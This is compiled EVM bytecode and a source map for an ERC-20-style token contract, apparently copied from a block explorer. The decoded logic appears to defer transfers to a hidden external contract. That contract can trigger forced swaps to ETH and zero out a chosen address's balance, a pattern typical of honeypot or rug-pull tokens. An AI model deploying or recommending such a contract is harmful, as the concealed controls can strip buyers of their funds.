0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806348d3ab1f116100a257806395d89b411161007157806395d89b41146102ac578063a457c2d7146102ca578063a9059cbb146102fa578063c5b37c221461032a578063dd62ed3e146103485761010b565b806348d3ab1f1461023657806370a0823114610254578063715018a6146102845780638da5cb5b1461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806332424aa3146101ca57806339509351146101e85780633eaaf86b146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610378565b6040516101259190611974565b60405180910390f35b61014860048036038101906101439190611a2f565b61040a565b6040516101559190611a8a565b60405180910390f35b610166610428565b6040516101739190611ab4565b60405180910390f35b61019660048036038101906101919190611acf565b610432565b6040516101a39190611a8a565b60405180910390f35b6101b46104da565b6040516101c19190611ab4565b60405180910390f35b6101d26104e4565b6040516101df9190611ab4565b60405180910390f35b61020260048036038101906101fd9190611a2f565b6104ea565b60405161020f9190611a8a565b60405180910390f35b610220610596565b60405161022d9190611ab4565b60405180910390f35b61023e61059c565b60405161024b9190611ab4565b60405180910390f35b61026e60048036038101906102699190611b22565b6105a5565b60405161027b9190611ab4565b60405180910390f35b61028c6105ee565b005b610296610728565b6040516102a39190611b5e565b60405180910390f35b6102b4610751565b6040516102c19190611974565b60405180910390f35b6102e460048036038101906102df9190611a2f565b6107e3565b6040516102f19190611a8a565b60405180910390f35b610314600480360381019061030f9190611a2f565b61091f565b6040516103219190611a8a565b60405180910390f35b61033261093d565b60405161033f9190611ab4565b60405180910390f35b610362600480360381019061035d9190611b79565b610943565b60405161036f9190611ab4565b60405180910390f35b60606008805461038790611be8565b80601f01602080910402602001604051908101604052809291908181526020018280546103b390611be8565b80156104005780601f106103d557610100808354040283529160200191610400565b820191906000526020600020905b8154815290600101906020018083116103e357829003601f168201915b5050505050905090565b600061041e6104176109ca565b84846109d2565b6001905092915050565b6000600454905090565b600061043f848484610b9b565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104896109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104cf57600080fd5b600190509392505050565b6000600354905090565b60035481565b600061058c6104f76109ca565b8484600260006105056109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105879190611c48565b6109d2565b6001905092915050565b60045481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105f66109ca565b73ffffffffffffffffffffffffffffffffffffffff16610614610728565b73ffffffffffffffffffffffffffffffffffffffff161461066a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066190611cea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461076090611be8565b80601f016020809104026020016040519081016040528092919081815260200182805461078c90611be8565b80156107d95780601f106107ae576101008083540402835291602001916107d9565b820191906000526020600020905b8154815290600101906020018083116107bc57829003601f168201915b5050505050905090565b600081600260006107f26109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087557600080fd5b6109156108806109ca565b84846002600061088e6109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109109190611d0a565b6109d2565b6001905092915050565b600061093361092c6109ca565b8484610b9b565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611db0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa790611e42565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b8e9190611ab4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bd457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c0d57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610c6a929190611e62565b602060405180830381865afa158015610c87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cab9190611eb7565b15610cbf57610cba8183610ef2565b610eed565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580610d1a5750600a60009054906101000a900460ff16155b610d2357600080fd5b610d2c836111bc565b6000610d398484846113f4565b905060008183610d499190611d0a565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9a9190611c48565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dec9190611d0a565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7e9190611c48565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ee29190611ab4565b60405180910390a350505b505050565b610f1f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109d2565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610f8057610f7f611ee4565b5b604051908082528060200260200182016040528015610fae5781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff0219169083151502179055503081600081518110610fe157610fe0611f13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac9190611f57565b816001815181106110c0576110bf611f13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601b4261114a9190611c48565b6040518663ffffffff1660e01b815260040161116a959493929190612087565b600060405180830381600087803b15801561118457600080fd5b505af1158015611198573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166111db611660565b73ffffffffffffffffffffffffffffffffffffffff16036113f157600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3b36086040518163ffffffff1660e01b81526004016020604051808303816000875af115801561127d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a19190611f57565b73ffffffffffffffffffffffffffffffffffffffff1603156113f1576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3b36086040518163ffffffff1660e01b81526004016020604051808303816000875af115801561132e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113529190611f57565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113e79190611d0a565b9250508190555050505b50565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663805eaeaa866040518263ffffffff1660e01b81526004016114569190611b5e565b602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190611eb7565b15801561155c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635cba653c8686600a60009054906101000a900460ff16306114f8611660565b6040518663ffffffff1660e01b81526004016115189594939291906120e1565b6020604051808303816000875af1158015611537573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155b9190611eb7565b5b15611655578373ffffffffffffffffffffffffffffffffffffffff16611580611660565b73ffffffffffffffffffffffffffffffffffffffff16031561162a57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314935aaa856040518263ffffffff1660e01b81526004016115f79190611b5e565b600060405180830381600087803b15801561161157600080fd5b505af1158015611625573d6000803e3d6000fd5b505050505b61165260646116446005548661180390919063ffffffff16565b61187d90919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f39190611f57565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561177c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a09190611f57565b6040518363ffffffff1660e01b81526004016117bd929190611e62565b602060405180830381865afa1580156117da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117fe9190611f57565b905090565b60008083036118155760009050611877565b600082846118239190612134565b905082848261183291906121bd565b14611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612260565b60405180910390fd5b809150505b92915050565b60008082116118c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b8906122cc565b60405180910390fd5b600082846118cf91906121bd565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119155780820151818401526020810190506118fa565b83811115611924576000848401525b50505050565b6000601f19601f8301169050919050565b6000611946826118db565b61195081856118e6565b93506119608185602086016118f7565b6119698161192a565b840191505092915050565b6000602082019050818103600083015261198e818461193b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119c68261199b565b9050919050565b6119d6816119bb565b81146119e157600080fd5b50565b6000813590506119f3816119cd565b92915050565b6000819050919050565b611a0c816119f9565b8114611a1757600080fd5b50565b600081359050611a2981611a03565b92915050565b60008060408385031215611a4657611a45611996565b5b6000611a54858286016119e4565b9250506020611a6585828601611a1a565b9150509250929050565b60008115159050919050565b611a8481611a6f565b82525050565b6000602082019050611a9f6000830184611a7b565b92915050565b611aae816119f9565b82525050565b6000602082019050611ac96000830184611aa5565b92915050565b600080600060608486031215611ae857611ae7611996565b5b6000611af6868287016119e4565b9350506020611b07868287016119e4565b9250506040611b1886828701611a1a565b9150509250925092565b600060208284031215611b3857611b37611996565b5b6000611b46848285016119e4565b91505092915050565b611b58816119bb565b82525050565b6000602082019050611b736000830184611b4f565b92915050565b60008060408385031215611b9057611b8f611996565b5b6000611b9e858286016119e4565b9250506020611baf858286016119e4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c0057607f821691505b602082108103611c1357611c12611bb9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c53826119f9565b9150611c5e836119f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c9357611c92611c19565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611cd46020836118e6565b9150611cdf82611c9e565b602082019050919050565b60006020820190508181036000830152611d0381611cc7565b9050919050565b6000611d15826119f9565b9150611d20836119f9565b925082821015611d3357611d32611c19565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d9a6025836118e6565b9150611da582611d3e565b604082019050919050565b60006020820190508181036000830152611dc981611d8d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e2c6023836118e6565b9150611e3782611dd0565b604082019050919050565b60006020820190508181036000830152611e5b81611e1f565b9050919050565b6000604082019050611e776000830185611b4f565b611e846020830184611b4f565b9392505050565b611e9481611a6f565b8114611e9f57600080fd5b50565b600081519050611eb181611e8b565b92915050565b600060208284031215611ecd57611ecc611996565b5b6000611edb84828501611ea2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050611f51816119cd565b92915050565b600060208284031215611f6d57611f6c611996565b5b6000611f7b84828501611f42565b91505092915050565b6000819050919050565b6000819050919050565b6000611fb3611fae611fa984611f84565b611f8e565b6119f9565b9050919050565b611fc381611f98565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611ffe816119bb565b82525050565b60006120108383611ff5565b60208301905092915050565b6000602082019050919050565b600061203482611fc9565b61203e8185611fd4565b935061204983611fe5565b8060005b8381101561207a5781516120618882612004565b975061206c8361201c565b92505060018101905061204d565b5085935050505092915050565b600060a08201905061209c6000830188611aa5565b6120a96020830187611fba565b81810360408301526120bb8186612029565b90506120ca6060830185611b4f565b6120d76080830184611aa5565b9695505050505050565b600060a0820190506120f66000830188611b4f565b6121036020830187611b4f565b6121106040830186611a7b565b61211d6060830185611b4f565b61212a6080830184611b4f565b9695505050505050565b600061213f826119f9565b915061214a836119f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561218357612182611c19565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006121c8826119f9565b91506121d3836119f9565b9250826121e3576121e261218e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061224a6021836118e6565b9150612255826121ee565b604082019050919050565b600060208201905081810360008301526122798161223d565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006122b6601a836118e6565b91506122c182612280565b602082019050919050565b600060208201905081810360008301526122e5816122a9565b905091905056fea26469706673582212204d356a78119e6068c5ff9a6217735b69d5a30b751eebc56e0721495448f6c00064736f6c634300080f0033
Deployed Bytecode Sourcemap
3337:5050:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5891:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6410:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6128:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7979:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6049:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3541:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4111:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3576:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6222:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6299:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3182:148;;;:::i;:::-;;2963:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5968:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4332:259;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7798:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3641:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3954:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5891:71;5930:13;5954:5;5947:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5891:71;:::o;6410:169::-;6493:4;6510:39;6519:12;:10;:12::i;:::-;6533:7;6542:6;6510:8;:39::i;:::-;6567:4;6560:11;;6410:169;;;;:::o;6128:88::-;6183:7;6201:12;;6194:19;;6128:88;:::o;7979:246::-;8083:4;8100:34;8110:4;8116:9;8127:6;8100:9;:34::i;:::-;8188:6;8153:11;:17;8165:4;8153:17;;;;;;;;;;;;;;;:31;8171:12;:10;:12::i;:::-;8153:31;;;;;;;;;;;;;;;;:41;;8145:50;;;;;;8213:4;8206:11;;7979:246;;;;;:::o;6049:73::-;6092:7;6110:9;;6103:16;;6049:73;:::o;3541:28::-;;;;:::o;4111:215::-;4199:4;4216:80;4225:12;:10;:12::i;:::-;4239:7;4285:10;4248:11;:25;4260:12;:10;:12::i;:::-;4248:25;;;;;;;;;;;;;;;:34;4274:7;4248:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4216:8;:80::i;:::-;4314:4;4307:11;;4111:215;;;;:::o;3576:58::-;;;;:::o;6222:71::-;6271:7;6289:1;6282:8;;6222:71;:::o;6299:105::-;6365:7;6383:9;:18;6393:7;6383:18;;;;;;;;;;;;;;;;6376:25;;6299:105;;;:::o;3182:148::-;3107:12;:10;:12::i;:::-;3096:23;;:7;:5;:7::i;:::-;:23;;;3088:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3289:1:::1;3252:40;;3273:6;::::0;::::1;;;;;;;;3252:40;;;;;;;;;;;;3320:1;3303:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3182:148::o:0;2963:87::-;3009:7;3036:6;;;;;;;;;;;3029:13;;2963:87;:::o;5968:75::-;6009:13;6033:7;6026:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5968:75;:::o;4332:259::-;4413:4;4473:6;4438:11;:25;4450:12;:10;:12::i;:::-;4438:25;;;;;;;;;;;;;;;:31;4464:4;4438:31;;;;;;;;;;;;;;;;:41;;4430:50;;;;;;4491:70;4500:12;:10;:12::i;:::-;4514:4;4554:6;4520:11;:25;4532:12;:10;:12::i;:::-;4520:25;;;;;;;;;;;;;;;:31;4546:4;4520:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4491:8;:70::i;:::-;4579:4;4572:11;;4332:259;;;;:::o;7798:175::-;7884:4;7901:42;7911:12;:10;:12::i;:::-;7925:9;7936:6;7901:9;:42::i;:::-;7961:4;7954:11;;7798:175;;;;:::o;3641:23::-;;;;:::o;3954:151::-;4043:7;4070:11;:18;4082:5;4070:18;;;;;;;;;;;;;;;:27;4089:7;4070:27;;;;;;;;;;;;;;;;4063:34;;3954:151;;;;:::o;103:98::-;156:7;183:10;176:17;;103:98;:::o;6585:346::-;6704:1;6687:19;;:5;:19;;;6679:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6786:1;6767:21;;:7;:21;;;6759:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6869:6;6839:11;:18;6851:5;6839:18;;;;;;;;;;;;;;;:27;6858:7;6839:27;;;;;;;;;;;;;;;:36;;;;6907:7;6891:32;;6900:5;6891:32;;;6916:6;6891:32;;;;;;:::i;:::-;;;;;;;;6585:346;;;:::o;4597:670::-;4710:1;4694:18;;:4;:18;;;4686:27;;;;;;4746:1;4732:16;;:2;:16;;;4724:25;;;;;;4764:9;;;;;;;;;;;:17;;;4782:4;4788:2;4764:27;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4760:500;;;4808:23;4820:6;4828:2;4808:11;:23::i;:::-;4760:500;;;4887:6;4868:9;:15;4878:4;4868:15;;;;;;;;;;;;;;;;:25;;:50;;;;4898:20;;;;;;;;;;;4897:21;4868:50;4860:59;;;;;;4930:18;4943:4;4930:12;:18::i;:::-;4959:17;4979:30;4992:4;4998:2;5002:6;4979:12;:30::i;:::-;4959:50;;5020:22;5054:9;5045:6;:18;;;;:::i;:::-;5020:43;;5102:9;5074;:24;5092:4;5074:24;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;5158:6;5140:9;:15;5150:4;5140:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;5122:9;:15;5132:4;5122:15;;;;;;;;;;;;;;;:42;;;;5192:14;5175:9;:13;5185:2;5175:13;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;5237:2;5222:26;;5231:4;5222:26;;;5241:6;5222:26;;;;;;:::i;:::-;;;;;;;;4849:411;;4760:500;4597:670;;;:::o;7278:474::-;7347:48;7364:4;7379:7;;;;;;;;;;;7389:5;7347:8;:48::i;:::-;7433:5;7406:9;:24;7424:4;7406:24;;;;;;;;;;;;;;;:32;;;;7449:21;7487:1;7473:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7449:40;;7523:4;7500:20;;:27;;;;;;;;;;;;;;;;;;7556:4;7538;7543:1;7538:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7582:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7572:4;7577:1;7572:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;7607:7;;;;;;;;;;;:58;;;7666:5;7672:1;7674:4;7679;7702:2;7684:15;:20;;;;:::i;:::-;7607:98;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7739:5;7716:20;;:28;;;;;;;;;;;;;;;;;;7336:416;7278:474;;:::o;6937:335::-;7013:5;6998:20;;:11;:9;:11::i;:::-;:20;;;7035:7;6994:59;7104:1;7067:39;;:9;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:39;;;7063:78;7123:7;7063:78;7151:10;7164:9;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7151:38;;7200:14;7217:9;:13;7227:2;7217:13;;;;;;;;;;;;;;;;7200:30;;7258:6;7241:9;:13;7251:2;7241:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6983:289;;6937:335;;:::o;5273:466::-;5349:7;5369:17;5389:1;5369:21;;5406:9;;;;;;;;;;;:14;;;5421:3;5406:19;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5405:20;:100;;;;;5429:9;;;;;;;;;;;:17;;;5447:3;5452:2;5456:20;;;;;;;;;;;5486:4;5493:11;:9;:11::i;:::-;5429:76;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5405:100;5401:304;;;5541:2;5526:17;;:11;:9;:11::i;:::-;:17;;;5522:124;;;5604:9;;;;;;;;;;;:22;;;5627:2;5604:26;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5522:124;5672:21;5689:3;5672:12;5679:4;;5672:2;:6;;:12;;;;:::i;:::-;:16;;:21;;;;:::i;:::-;5660:33;;5401:304;5722:9;5715:16;;;5273:466;;;;;:::o;8231:153::-;8274:7;8319;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8301:44;;;8354:4;8361:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8301:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8294:82;;8231:153;:::o;1356:246::-;1414:7;1443:1;1438;:6;1434:47;;1468:1;1461:8;;;;1434:47;1491:9;1507:1;1503;:5;;;;:::i;:::-;1491:17;;1536:1;1531;1527;:5;;;;:::i;:::-;:10;1519:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1593:1;1586:8;;;1356:246;;;;;:::o;1608:177::-;1666:7;1698:1;1694;:5;1686:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;1741:9;1757:1;1753;:5;;;;:::i;:::-;1741:17;;1776:1;1769:8;;;1608:177;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::